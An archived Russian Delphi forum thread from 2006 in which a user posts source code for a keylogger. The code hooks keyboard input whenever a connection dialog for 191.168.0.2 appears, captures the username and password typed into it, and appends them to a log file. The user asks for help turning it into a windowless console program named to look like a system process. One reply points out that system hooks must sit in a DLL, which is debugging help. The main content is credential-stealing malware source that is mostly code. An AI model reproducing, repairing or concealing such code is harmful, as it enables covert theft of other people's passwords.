Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2006.05.07;
Скачать: CL | DM;

Вниз

Помогите уменьшить прогу   Найти похожие ветки 

 
ArcSin   (2006-04-17 20:25) [0]

У меня есть работающая прога но она с окном (оно не используется как таковое) хочу переделать в консольное приложение помогите пожалуйста
или укажите на ошибку

Клавиатурный шпион активизируется при появлении окна ввода пароля

Вот часть Юнита работающей проги
*************************************************************
const
Caption="Подключение к 191.168.0.2";
var
 Form1: TForm1;   h:hhook;  Wnd:Hwnd;  flag,bylo,stalo:boolean;    Nick,Password:string;  SysHook :HHook = 0;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM)  :lresult;stdcall;
var c:array[0..255] of char;
   nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
 nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
 nscan:=nscan shl 16;
 GetKeyNameText(nScan,c,256);
if  c[1] <> "" then
begin
if c = "Tab" then  flag:=true;
if c = "Space" then c:=" ";
end
else
 if not flag then
 Nick:=Nick+c    
 else Password:=Password+c;
end;
result:=callnexthookex(H,code,wparam,lparam);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
stalo:=FindWindow(nil,"Подключение к 191.168.0.2") <> 0;
  if (not bylo) and stalo then
  SysHook:=SetWindowsHookEx(0,@Proc,HInstance,0);
  if bylo and (not stalo) then
         begin
         UnHookWindowsHookEx(SysHook);
         SysHook:=0;
         Flag:=false;
         SaveToLog(Nick,Password);
         end;
  bylo:=stalo;
end;

end.
********************************************************************
я попытался это сделать, но новая прога виснет (отмечено "(*)" )
********************************************************************
program nvcvs32;
uses Windows,  Messages,  SySUtils,  Registry;
 const
Caption="Подключение к 191.168.0.2";
 var
SysHook:HHook = 0;
H:HHook = 0;
Wnd:Hwnd;
Flag,bylo,stalo:boolean;
Nick,Password:string;

function Proc(code:integer;wParam:WPARAM;lParam:LPARAM)  :lresult;stdcall;
var c:array[0..255] of char;
   nScan:integer;
begin
if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
 nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
 nscan:=nscan shl 16;
 GetKeyNameText(nScan,c,256);
if  c[1] <> "" then
begin
if c = "Tab" then  flag:=true;
if c = "Space" then c:=" ";
end
else
 if not flag then
 Nick:=Nick+c    
 else Password:=Password+c;
end;
result:=callnexthookex(H,code,wparam,lparam);
end;

Procedure SaveToLog(Nick,Password:string);
var
f:TextFile;
FileDir:string;
begin
   if (Nick = "") and (Password = "") then exit;
   Filedir:="D:\scan.log";
   AssignFile(f, Filedir);
   if not FileExists(Filedir) then
    begin
     Rewrite(f);
     CloseFile(f);
    end;
   Append(f);
   Writeln(f, FormatDateTime("dd/mm/yyyy hh:nn:ss", Date+Time)+ "@:["+Nick+"]&{"+Password+"}");
   Flush(f);
   CloseFile(f);
end;

begin
while true do
begin
stalo:=FindWindow(nil,Caption) <> 0;
  if (not bylo) and stalo then
  SysHook:=SetWindowsHookEx(0,@Proc,HInstance,0);         {!!(*)!)
  if bylo and (not stalo) then
         begin
         UnHookWindowsHookEx(SysHook);
         SysHook:=0;
         Flag:=false;
         SaveToLog(Nick,Password);

         end;
  bylo:=stalo;
  sleep(100);
  end;
end.  

*******************************************************************
напишите если увидели другие ошибки. Заранее благодарю.


 
Eraser ©   (2006-04-17 20:29) [1]


> ArcSin   (17.04.06 20:25)

неужели когда окно (форма) была этот шпийон корректно работал? :)


 
Rouse_ ©   (2006-04-17 22:52) [2]


> if bylo and (not stalo) then

Это пять :)


 
Сергей М. ©   (2006-04-18 10:58) [3]


> ArcSin   (17.04.06 20:25)


Справку к WH_JOURNALRECORD-хуку читал ?

Там написано

All system hook functions must be in libraries.

WH_JOURNALRECORD как раз и есть system-хук (в той же справке это написано).

Где у соблюдение этого условия ?



Страницы: 1 вся ветка

Текущий архив: 2006.05.07;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.04 c
9-1129189206
Ricks
2005-10-13 11:40
2006.05.07
Миникарта


2-1145209717
так себе
2006-04-16 21:48
2006.05.07
Помогите разобраться с Format ами


2-1144997274
Igorntk
2006-04-14 10:47
2006.05.07
Переход к незаполненному TEdit


1-1143799518
Andreus
2006-03-31 14:05
2006.05.07
Как получить расширение файла открываемого OpenDialog1.FileName


1-1144053468
intaari
2006-04-03 12:37
2006.05.07
Nul в StartString компонента TApdDataPacket